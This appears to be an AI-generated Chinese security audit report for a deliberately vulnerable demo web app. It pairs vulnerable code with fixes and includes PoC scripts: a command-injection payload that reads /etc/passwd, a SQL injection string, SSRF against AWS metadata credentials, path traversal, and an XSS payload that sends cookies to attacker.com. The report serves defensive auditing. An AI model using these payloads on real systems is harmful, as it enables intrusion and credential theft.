|
|
|
|
|
|
<svg viewBox="0 0 56 56">
|
|
|
|
|
|
<circle class="score-ring-bg" cx="28" cy="28" r="23"></circle>
|
|
|
|
|
|
<circle class="score-ring-progress" cx="28" cy="28" r="23"></circle>
|
|
|
|
|
|
</svg>
|
|
|
|
|
|
<div class="score-ring-content">
|
|
|
|
|
|
<span class="score-value">36</span>
|
|
|
|
|
|
<span class="score-grade">F</span>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<span class="score-label">安全评分</span>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="stats-cards">
|
|
|
|
|
|
<div class="stat-card">
|
|
|
|
|
|
<div class="stat-card-header">
|
|
|
|
|
|
<div class="stat-card-icon total">∑</div>
|
|
|
|
|
|
<span class="stat-card-label">总数</span>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="stat-card-value">8</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="stat-card">
|
|
|
|
|
|
<div class="stat-card-header">
|
|
|
|
|
|
<div class="stat-card-icon critical">!</div>
|
|
|
|
|
|
<span class="stat-card-label">严重</span>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="stat-card-value critical">2</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="stat-card">
|
|
|
|
|
|
<div class="stat-card-header">
|
|
|
|
|
|
<div class="stat-card-icon high">▲</div>
|
|
|
|
|
|
<span class="stat-card-label">高危</span>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="stat-card-value high">3</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="stat-card">
|
|
|
|
|
|
<div class="stat-card-header">
|
|
|
|
|
|
<div class="stat-card-icon verified">✓</div>
|
|
|
|
|
|
<span class="stat-card-label">验证</span>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="stat-card-value" style="color:var(--success)">6</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</section>
|
|
|
|
|
|
|
|
|
|
|
|
<section class="severity-section">
|
|
|
|
|
|
<div class="container">
|
|
|
|
|
|
<div class="severity-bar-wrap">
|
|
|
|
|
|
<span class="severity-bar-title">分布</span>
|
|
|
|
|
|
<div class="severity-bar">
|
2026-01-12 15:08:33 +08:00
|
|
|
|
|
|
|
|
|
|
<div class="severity-segment critical" style="width:25%"></div>
|
|
|
|
|
|
<div class="severity-segment high" style="width:37.5%"></div>
|
|
|
|
|
|
<div class="severity-segment medium" style="width:25%"></div>
|
|
|
|
|
|
<div class="severity-segment low" style="width:12.5%"></div>
|
|
|
|
|
|
|
2025-12-15 15:18:55 +08:00
|
|
|
|
</div>
|
|
|
|
|
|
<div class="severity-legend">
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<div class="severity-legend-item">
|
|
|
|
|
|
<div class="severity-dot critical"></div>2
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="severity-legend-item">
|
|
|
|
|
|
<div class="severity-dot high"></div>3
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="severity-legend-item">
|
|
|
|
|
|
<div class="severity-dot medium"></div>2
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="severity-legend-item">
|
|
|
|
|
|
<div class="severity-dot low"></div>1
|
|
|
|
|
|
</div>
|
2025-12-15 15:18:55 +08:00
|
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</section>
|
|
|
|
|
|
|
|
|
|
|
|
<main class="main-content">
|
|
|
|
|
|
<div class="container">
|
|
|
|
|
|
<div class="content-wrapper">
|
|
|
|
|
|
<h1>DeepAudit 安全审计报告</h1>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<hr>
|
|
|
|
|
|
<h2>报告信息</h2>
|
|
|
|
|
|
<table>
|
|
|
|
|
|
<thead>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<th>属性</th>
|
|
|
|
|
|
<th>内容</th>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
</thead>
|
|
|
|
|
|
<tbody>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<td><strong>项目名称</strong></td>
|
|
|
|
|
|
<td>VulnWebApp - 安全演示项目</td>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<td><strong>任务 ID</strong></td>
|
|
|
|
|
|
<td><code>0e41da00...</code></td>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<td><strong>生成时间</strong></td>
|
|
|
|
|
|
<td>2025-12-15 11:07:20</td>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<td><strong>任务状态</strong></td>
|
|
|
|
|
|
<td>COMPLETED</td>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<td><strong>耗时</strong></td>
|
|
|
|
|
|
<td>13.0 分钟</td>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
</tbody>
|
|
|
|
|
|
</table>
|
|
|
|
|
|
<h2>执行摘要</h2>
|
|
|
|
|
|
<p><strong>安全评分: 35/100</strong> [未通过]
|
|
|
|
|
|
<em>严重 - 需要立即进行修复</em>
|
|
|
|
|
|
</p>
|
|
|
|
|
|
<h3>漏洞发现概览</h3>
|
|
|
|
|
|
<table>
|
|
|
|
|
|
<thead>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<th>严重程度</th>
|
|
|
|
|
|
<th>数量</th>
|
|
|
|
|
|
<th>已验证</th>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
</thead>
|
|
|
|
|
|
<tbody>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<td><strong>严重 (CRITICAL)</strong></td>
|
|
|
|
|
|
<td>2</td>
|
|
|
|
|
|
<td>2</td>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<td><strong>高危 (HIGH)</strong></td>
|
|
|
|
|
|
<td>3</td>
|
|
|
|
|
|
<td>3</td>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<td><strong>中危 (MEDIUM)</strong></td>
|
|
|
|
|
|
<td>2</td>
|
|
|
|
|
|
<td>1</td>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<td><strong>低危 (LOW)</strong></td>
|
|
|
|
|
|
<td>1</td>
|
|
|
|
|
|
<td>0</td>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
<tr>
|
|
|
|
|
|
<td><strong>总计</strong></td>
|
|
|
|
|
|
<td>8</td>
|
|
|
|
|
|
<td>6</td>
|
|
|
|
|
|
</tr>
|
|
|
|
|
|
</tbody>
|
|
|
|
|
|
</table>
|
|
|
|
|
|
<h3>审计指标</h3>
|
|
|
|
|
|
<ul>
|
|
|
|
|
|
<li><strong>分析文件数:</strong> 48 / 48</li>
|
|
|
|
|
|
<li><strong>Agent 迭代次数:</strong> 32</li>
|
|
|
|
|
|
<li><strong>工具调用次数:</strong> 87</li>
|
|
|
|
|
|
<li><strong>Token 消耗:</strong> 45,680</li>
|
|
|
|
|
|
<li><strong>生成的 PoC:</strong> 5</li>
|
|
|
|
|
|
</ul>
|
|
|
|
|
|
<h2>严重 (Critical) 漏洞</h2>
|
|
|
|
|
|
<h3>CRITICAL-1: 备份功能存在命令注入漏洞</h3>
|
|
|
|
|
|
<p><strong>[已验证]</strong> [含 PoC] | 类型: <code>command_injection</code></p>
|
|
|
|
|
|
<p><strong>位置:</strong> <code>app/utils/backup.py:34-40</code></p>
|
|
|
|
|
|
<p><strong>AI 置信度:</strong> 99%</p>
|
|
|
|
|
|
<p><strong>漏洞描述:</strong></p>
|
|
|
|
|
|
<p>在备份功能中,用户提供的文件名参数直接传递给 os.system() 函数执行,攻击者可以通过命令分隔符(如 ; 或 |)注入任意系统命令。</p>
|
|
|
|
|
|
<p><strong>漏洞代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">def create_backup(filename):
|
2025-12-15 15:18:55 +08:00
|
|
|
|
"""创建备份文件"""
|
|
|
|
|
|
# 危险:直接将用户输入传递给系统命令
|
|
|
|
|
|
backup_path = f"/backups/{filename}.tar.gz"
|
|
|
|
|
|
cmd = f"tar -czf {backup_path} /data/"
|
|
|
|
|
|
os.system(cmd) # 命令注入风险
|
|
|
|
|
|
return backup_path
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>修复建议:</strong></p>
|
|
|
|
|
|
<p>避免使用 os.system(),改用 subprocess 模块并禁用 shell=True,对用户输入进行严格的白名单验证</p>
|
|
|
|
|
|
<p><strong>参考修复代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">import subprocess
|
2025-12-15 15:18:55 +08:00
|
|
|
|
import re
|
|
|
|
|
|
|
|
|
|
|
|
def create_backup(filename):
|
|
|
|
|
|
"""创建备份文件 - 安全版本"""
|
|
|
|
|
|
# 修复:验证文件名只包含安全字符
|
|
|
|
|
|
if not re.match(r'^[a-zA-Z0-9_-]+$', filename):
|
|
|
|
|
|
raise ValueError("Invalid filename")
|
|
|
|
|
|
|
|
|
|
|
|
backup_path = f"/backups/{filename}.tar.gz"
|
|
|
|
|
|
# 修复:使用 subprocess 并传递参数列表
|
|
|
|
|
|
subprocess.run(
|
|
|
|
|
|
["tar", "-czf", backup_path, "/data/"],
|
|
|
|
|
|
check=True,
|
|
|
|
|
|
shell=False # 禁用shell
|
|
|
|
|
|
)
|
|
|
|
|
|
return backup_path
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>概念验证 (PoC):</strong></p>
|
|
|
|
|
|
<p><em>通过在 filename 参数中注入分号和系统命令,在服务器上执行任意代码</em></p>
|
|
|
|
|
|
<p><strong>复现步骤:</strong></p>
|
|
|
|
|
|
<ol>
|
|
|
|
|
|
<li>构造恶意 filename: test; id; cat /etc/passwd</li>
|
|
|
|
|
|
<li>发送请求到 /api/backup 接口</li>
|
|
|
|
|
|
<li>观察服务器响应或日志中的命令执行结果</li>
|
|
|
|
|
|
</ol>
|
|
|
|
|
|
<p><strong>PoC 代码:</strong></p>
|
|
|
|
|
|
<pre><code>import requests
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
# 命令注入 PoC
|
|
|
|
|
|
target_url = "http://target.com/api/backup"
|
|
|
|
|
|
|
|
|
|
|
|
# Payload: 注入系统命令
|
|
|
|
|
|
payload = "test; id; cat /etc/passwd"
|
|
|
|
|
|
|
|
|
|
|
|
response = requests.post(target_url, json={"filename": payload})
|
|
|
|
|
|
print(f"Response: {response.text}")
|
|
|
|
|
|
|
|
|
|
|
|
# 预期结果:服务器执行 id 和 cat /etc/passwd 命令
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<hr>
|
|
|
|
|
|
<h3>CRITICAL-2: 用户搜索接口存在 SQL 注入漏洞</h3>
|
|
|
|
|
|
<p><strong>[已验证]</strong> [含 PoC] | 类型: <code>sql_injection</code></p>
|
|
|
|
|
|
<p><strong>位置:</strong> <code>app/routes/user.py:52-58</code></p>
|
|
|
|
|
|
<p><strong>AI 置信度:</strong> 98%</p>
|
|
|
|
|
|
<p><strong>漏洞描述:</strong></p>
|
|
|
|
|
|
<p>在 /api/user/search 接口中,用户输入的 name 参数直接拼接到 SQL 查询语句中,未经过任何过滤或参数化处理,攻击者可以通过构造恶意输入执行任意 SQL 语句。</p>
|
|
|
|
|
|
<p><strong>漏洞代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">@app.route('/api/user/search')
|
2025-12-15 15:18:55 +08:00
|
|
|
|
def search_user():
|
|
|
|
|
|
name = request.args.get('name', '')
|
|
|
|
|
|
# 危险:直接拼接用户输入到SQL语句
|
|
|
|
|
|
query = f"SELECT * FROM users WHERE name LIKE '%{name}%'"
|
|
|
|
|
|
result = db.execute(query)
|
|
|
|
|
|
return jsonify(result.fetchall())
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>修复建议:</strong></p>
|
|
|
|
|
|
<p>使用参数化查询或 ORM 框架来防止 SQL 注入</p>
|
|
|
|
|
|
<p><strong>参考修复代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">@app.route('/api/user/search')
|
2025-12-15 15:18:55 +08:00
|
|
|
|
def search_user():
|
|
|
|
|
|
name = request.args.get('name', '')
|
|
|
|
|
|
# 修复:使用参数化查询
|
|
|
|
|
|
query = "SELECT * FROM users WHERE name LIKE :name"
|
|
|
|
|
|
result = db.execute(query, {"name": f"%{name}%"})
|
|
|
|
|
|
return jsonify(result.fetchall())
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>概念验证 (PoC):</strong></p>
|
|
|
|
|
|
<p><em>通过在 name 参数中注入 SQL 语句,绕过查询条件获取数据库中所有用户信息</em></p>
|
|
|
|
|
|
<p><strong>复现步骤:</strong></p>
|
|
|
|
|
|
<ol>
|
|
|
|
|
|
<li>访问目标 URL: /api/user/search?name=' OR '1'='1' --</li>
|
|
|
|
|
|
<li>观察响应:应返回所有用户数据</li>
|
|
|
|
|
|
<li>进一步利用:可尝试 UNION 注入获取其他表数据</li>
|
|
|
|
|
|
</ol>
|
|
|
|
|
|
<p><strong>PoC 代码:</strong></p>
|
|
|
|
|
|
<pre><code>import requests
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
# SQL 注入 PoC
|
|
|
|
|
|
target_url = "http://target.com/api/user/search"
|
|
|
|
|
|
|
|
|
|
|
|
# Payload: 绕过认证获取所有用户
|
|
|
|
|
|
payload = "' OR '1'='1' --"
|
|
|
|
|
|
|
|
|
|
|
|
response = requests.get(target_url, params={"name": payload})
|
|
|
|
|
|
print(f"Status: {response.status_code}")
|
|
|
|
|
|
print(f"Data: {response.json()}")
|
|
|
|
|
|
|
|
|
|
|
|
# 预期结果:返回所有用户数据,而非仅匹配搜索条件的用户
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<hr>
|
|
|
|
|
|
<h2>高危 (High) 漏洞</h2>
|
|
|
|
|
|
<h3>HIGH-1: 代理接口存在 SSRF 漏洞</h3>
|
|
|
|
|
|
<p><strong>[已验证]</strong> [含 PoC] | 类型: <code>ssrf</code></p>
|
|
|
|
|
|
<p><strong>位置:</strong> <code>app/routes/proxy.py:42-50</code></p>
|
|
|
|
|
|
<p><strong>AI 置信度:</strong> 94%</p>
|
|
|
|
|
|
<p><strong>漏洞描述:</strong></p>
|
|
|
|
|
|
<p>代理接口接受用户提供的 URL 并发起请求,没有验证目标地址,攻击者可以利用此漏洞访问内网资源或云元数据服务。</p>
|
|
|
|
|
|
<p><strong>漏洞代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">@app.route('/api/proxy')
|
2025-12-15 15:18:55 +08:00
|
|
|
|
def proxy_request():
|
|
|
|
|
|
target_url = request.args.get('url')
|
|
|
|
|
|
# 危险:直接请求用户提供的 URL
|
|
|
|
|
|
response = requests.get(target_url)
|
|
|
|
|
|
return response.content
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>修复建议:</strong></p>
|
|
|
|
|
|
<p>实现 URL 白名单验证,禁止访问内网地址和元数据服务</p>
|
|
|
|
|
|
<p><strong>参考修复代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">from urllib.parse import urlparse
|
2025-12-15 15:18:55 +08:00
|
|
|
|
import ipaddress
|
|
|
|
|
|
|
|
|
|
|
|
ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']
|
|
|
|
|
|
|
|
|
|
|
|
def is_safe_url(url):
|
|
|
|
|
|
parsed = urlparse(url)
|
|
|
|
|
|
|
|
|
|
|
|
# 检查协议
|
|
|
|
|
|
if parsed.scheme not in ['http', 'https']:
|
|
|
|
|
|
return False
|
|
|
|
|
|
|
|
|
|
|
|
# 检查是否在白名单
|
|
|
|
|
|
if parsed.hostname not in ALLOWED_HOSTS:
|
|
|
|
|
|
return False
|
|
|
|
|
|
|
|
|
|
|
|
# 检查是否为内网地址
|
|
|
|
|
|
try:
|
|
|
|
|
|
ip = ipaddress.ip_address(parsed.hostname)
|
|
|
|
|
|
if ip.is_private or ip.is_loopback:
|
|
|
|
|
|
return False
|
|
|
|
|
|
except ValueError:
|
|
|
|
|
|
pass
|
|
|
|
|
|
|
|
|
|
|
|
return True
|
|
|
|
|
|
|
|
|
|
|
|
@app.route('/api/proxy')
|
|
|
|
|
|
def proxy_request():
|
|
|
|
|
|
target_url = request.args.get('url')
|
|
|
|
|
|
|
|
|
|
|
|
if not is_safe_url(target_url):
|
|
|
|
|
|
return "Invalid URL", 400
|
|
|
|
|
|
|
|
|
|
|
|
response = requests.get(target_url, timeout=5)
|
|
|
|
|
|
return response.content
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>概念验证 (PoC):</strong></p>
|
|
|
|
|
|
<p><strong>PoC 代码:</strong></p>
|
|
|
|
|
|
<pre><code>import requests
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
# SSRF PoC - 访问 AWS 元数据
|
|
|
|
|
|
target_url = "http://target.com/api/proxy"
|
|
|
|
|
|
payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
|
|
|
|
|
|
|
|
|
|
response = requests.get(target_url, params={"url": payload})
|
|
|
|
|
|
print(f"AWS Credentials:\n{response.text}")
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<hr>
|
|
|
|
|
|
<h3>HIGH-2: 文件下载接口存在路径遍历漏洞</h3>
|
|
|
|
|
|
<p><strong>[已验证]</strong> [含 PoC] | 类型: <code>path_traversal</code></p>
|
|
|
|
|
|
<p><strong>位置:</strong> <code>app/routes/download.py:18-26</code></p>
|
|
|
|
|
|
<p><strong>AI 置信度:</strong> 95%</p>
|
|
|
|
|
|
<p><strong>漏洞描述:</strong></p>
|
|
|
|
|
|
<p>文件下载接口直接使用用户提供的文件名参数构建文件路径,没有验证路径是否在允许的目录范围内,攻击者可以使用 ../ 序列访问任意文件。</p>
|
|
|
|
|
|
<p><strong>漏洞代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">@app.route('/api/download')
|
2025-12-15 15:18:55 +08:00
|
|
|
|
def download_file():
|
|
|
|
|
|
filename = request.args.get('file')
|
|
|
|
|
|
# 危险:直接拼接用户输入构建路径
|
|
|
|
|
|
file_path = os.path.join('/uploads/', filename)
|
|
|
|
|
|
|
|
|
|
|
|
if os.path.exists(file_path):
|
|
|
|
|
|
return send_file(file_path)
|
|
|
|
|
|
return "File not found", 404
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>修复建议:</strong></p>
|
|
|
|
|
|
<p>使用 os.path.realpath() 解析路径后验证是否在允许的目录内</p>
|
|
|
|
|
|
<p><strong>参考修复代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">import os
|
2025-12-15 15:18:55 +08:00
|
|
|
|
from pathlib import Path
|
|
|
|
|
|
|
|
|
|
|
|
UPLOAD_DIR = Path('/uploads/').resolve()
|
|
|
|
|
|
|
|
|
|
|
|
@app.route('/api/download')
|
|
|
|
|
|
def download_file():
|
|
|
|
|
|
filename = request.args.get('file')
|
|
|
|
|
|
|
|
|
|
|
|
# 修复:解析真实路径并验证
|
|
|
|
|
|
file_path = (UPLOAD_DIR / filename).resolve()
|
|
|
|
|
|
|
|
|
|
|
|
# 确保文件在允许的目录内
|
|
|
|
|
|
if not str(file_path).startswith(str(UPLOAD_DIR)):
|
|
|
|
|
|
return "Access denied", 403
|
|
|
|
|
|
|
|
|
|
|
|
if file_path.exists():
|
|
|
|
|
|
return send_file(file_path)
|
|
|
|
|
|
return "File not found", 404
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>概念验证 (PoC):</strong></p>
|
|
|
|
|
|
<p><strong>PoC 代码:</strong></p>
|
|
|
|
|
|
<pre><code>import requests
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
# 路径遍历 PoC
|
|
|
|
|
|
target_url = "http://target.com/api/download"
|
|
|
|
|
|
|
|
|
|
|
|
# Payload: 读取系统敏感文件
|
|
|
|
|
|
payload = "../../../etc/passwd"
|
|
|
|
|
|
|
|
|
|
|
|
response = requests.get(target_url, params={"file": payload})
|
|
|
|
|
|
print(f"File content:\n{response.text}")
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<hr>
|
|
|
|
|
|
<h3>HIGH-3: 评论功能存在存储型 XSS 漏洞</h3>
|
|
|
|
|
|
<p><strong>[已验证]</strong> [含 PoC] | 类型: <code>xss</code></p>
|
|
|
|
|
|
<p><strong>位置:</strong> <code>app/templates/comment.html:28-32</code></p>
|
|
|
|
|
|
<p><strong>AI 置信度:</strong> 96%</p>
|
|
|
|
|
|
<p><strong>漏洞描述:</strong></p>
|
|
|
|
|
|
<p>用户提交的评论内容在展示时未经 HTML 转义直接渲染,攻击者可以在评论中注入恶意 JavaScript 代码,当其他用户查看评论时会执行这些代码。</p>
|
|
|
|
|
|
<p><strong>漏洞代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-text"><div class="comment-list">
|
2025-12-15 15:18:55 +08:00
|
|
|
|
{% for comment in comments %}
|
|
|
|
|
|
<div class="comment-item">
|
|
|
|
|
|
<p class="comment-content">{{ comment.content | safe }}</p>
|
|
|
|
|
|
<!-- 危险:使用 safe 过滤器禁用了自动转义 -->
|
|
|
|
|
|
</div>
|
|
|
|
|
|
{% endfor %}
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>修复建议:</strong></p>
|
|
|
|
|
|
<p>移除 safe 过滤器,让 Jinja2 自动转义 HTML 特殊字符</p>
|
|
|
|
|
|
<p><strong>参考修复代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-text"><div class="comment-list">
|
2025-12-15 15:18:55 +08:00
|
|
|
|
{% for comment in comments %}
|
|
|
|
|
|
<div class="comment-item">
|
|
|
|
|
|
<!-- 修复:移除 safe 过滤器,使用自动转义 -->
|
|
|
|
|
|
<p class="comment-content">{{ comment.content }}</p>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
{% endfor %}
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>概念验证 (PoC):</strong></p>
|
|
|
|
|
|
<p><em>通过在评论中注入 JavaScript 代码,当其他用户查看页面时窃取其 Cookie</em></p>
|
|
|
|
|
|
<p><strong>PoC 代码:</strong></p>
|
|
|
|
|
|
<pre><code>import requests
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
# 存储型 XSS PoC
|
|
|
|
|
|
target_url = "http://target.com/api/comment"
|
|
|
|
|
|
|
|
|
|
|
|
# Payload: 窃取用户 Cookie
|
|
|
|
|
|
payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'
|
|
|
|
|
|
|
|
|
|
|
|
response = requests.post(target_url, json={"content": payload})
|
|
|
|
|
|
print(f"Comment posted: {response.status_code}")
|
|
|
|
|
|
|
|
|
|
|
|
# 当其他用户访问评论页面时,恶意脚本会自动执行
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<hr>
|
|
|
|
|
|
<h2>中危 (Medium) 漏洞</h2>
|
|
|
|
|
|
<h3>MEDIUM-1: 使用不安全的 MD5 哈希算法存储密码</h3>
|
|
|
|
|
|
<p><strong>[已验证]</strong> | 类型: <code>weak_crypto</code></p>
|
|
|
|
|
|
<p><strong>位置:</strong> <code>app/utils/crypto.py:8-12</code></p>
|
|
|
|
|
|
<p><strong>AI 置信度:</strong> 97%</p>
|
|
|
|
|
|
<p><strong>漏洞描述:</strong></p>
|
|
|
|
|
|
<p>密码哈希使用了已被破解的 MD5 算法,没有使用盐值,容易受到彩虹表攻击和暴力破解。</p>
|
|
|
|
|
|
<p><strong>漏洞代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">import hashlib
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
def hash_password(password):
|
|
|
|
|
|
# 危险:使用不安全的 MD5 且无盐值
|
|
|
|
|
|
return hashlib.md5(password.encode()).hexdigest()
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>修复建议:</strong></p>
|
|
|
|
|
|
<p>使用 bcrypt、Argon2 或 PBKDF2 等专门的密码哈希算法</p>
|
|
|
|
|
|
<p><strong>参考修复代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">import bcrypt
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
def hash_password(password):
|
|
|
|
|
|
# 修复:使用 bcrypt 进行安全的密码哈希
|
|
|
|
|
|
salt = bcrypt.gensalt(rounds=12)
|
|
|
|
|
|
return bcrypt.hashpw(password.encode(), salt).decode()
|
|
|
|
|
|
|
|
|
|
|
|
def verify_password(password, hashed):
|
|
|
|
|
|
return bcrypt.checkpw(password.encode(), hashed.encode())
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<hr>
|
|
|
|
|
|
<h3>MEDIUM-2: 发现硬编码的 API 密钥(误报)</h3>
|
|
|
|
|
|
<p><strong>[未验证]</strong> | 类型: <code>hardcoded_secret</code></p>
|
|
|
|
|
|
<p><strong>位置:</strong> <code>app/config.py.example:15-18</code></p>
|
|
|
|
|
|
<p><strong>AI 置信度:</strong> 85%</p>
|
|
|
|
|
|
<p><strong>漏洞描述:</strong></p>
|
|
|
|
|
|
<p>在配置文件中发现硬编码的 API 密钥,经验证为示例配置模板中的占位符。</p>
|
|
|
|
|
|
<p><strong>漏洞代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-text"># 示例配置文件 - 请复制为 config.py 并替换实际值
|
2025-12-15 15:18:55 +08:00
|
|
|
|
API_KEY = "your-api-key-here" # 请替换为实际密钥
|
|
|
|
|
|
SECRET_KEY = "change-this-secret" # 请替换为随机字符串
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>修复建议:</strong></p>
|
|
|
|
|
|
<p>确保 .example 文件不被误用,在 .gitignore 中排除实际配置文件</p>
|
|
|
|
|
|
<hr>
|
|
|
|
|
|
<h2>低危 (Low) 漏洞</h2>
|
|
|
|
|
|
<h3>LOW-1: 生产环境启用了调试模式</h3>
|
|
|
|
|
|
<p><strong>[未验证]</strong> | 类型: <code>security_misconfiguration</code></p>
|
|
|
|
|
|
<p><strong>位置:</strong> <code>app/__init__.py:25-28</code></p>
|
|
|
|
|
|
<p><strong>AI 置信度:</strong> 88%</p>
|
|
|
|
|
|
<p><strong>漏洞描述:</strong></p>
|
|
|
|
|
|
<p>Flask 应用在生产环境中启用了调试模式,可能泄露敏感信息和允许远程代码执行。</p>
|
|
|
|
|
|
<p><strong>漏洞代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python"># 应用配置
|
2025-12-15 15:18:55 +08:00
|
|
|
|
app = Flask(__name__)
|
|
|
|
|
|
app.debug = True # 警告:生产环境应禁用
|
|
|
|
|
|
app.secret_key = 'development-key' # 警告:应使用安全密钥
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<p><strong>修复建议:</strong></p>
|
|
|
|
|
|
<p>在生产环境中禁用调试模式,使用环境变量配置</p>
|
|
|
|
|
|
<p><strong>参考修复代码:</strong></p>
|
|
|
|
|
|
<pre><code class="language-python">import os
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
app = Flask(__name__)
|
|
|
|
|
|
app.debug = os.environ.get('FLASK_DEBUG', 'False').lower() == 'true'
|
|
|
|
|
|
app.secret_key = os.environ.get('SECRET_KEY', os.urandom(24))
|
|
|
|
|
|
</code></pre>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
<hr>
|
|
|
|
|
|
<h2>修复优先级建议</h2>
|
|
|
|
|
|
<p>基于已发现的漏洞,我们建议按以下优先级进行修复:</p>
|
|
|
|
|
|
<ol>
|
|
|
|
|
|
<li><strong>立即修复:</strong> 处理 2 个严重漏洞 - 可能造成严重影响</li>
|
|
|
|
|
|
<li><strong>高优先级:</strong> 在 1 周内修复 3 个高危漏洞</li>
|
|
|
|
|
|
<li><strong>中优先级:</strong> 在 2-4 周内修复 2 个中危漏洞</li>
|
|
|
|
|
|
<li><strong>低优先级:</strong> 在日常维护中处理 1 个低危漏洞</li>
|
|
|
|
|
|
</ol>
|
|
|
|
|
|
<hr>
|
|
|
|
|
|
<p><em>本报告由 DeepAudit - AI 驱动的安全分析系统生成</em></p>
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</main>
|
|
|
|
|
|
|
|
|
|
|
|
<footer class="report-footer">
|
|
|
|
|
|
<div class="container">
|
|
|
|
|
|
<div class="footer-content">
|
|
|
|
|
|
<div class="footer-brand">
|
|
|
|
|
|
<div class="footer-brand-icon">D</div>
|
|
|
|
|
|
DeepAudit
|
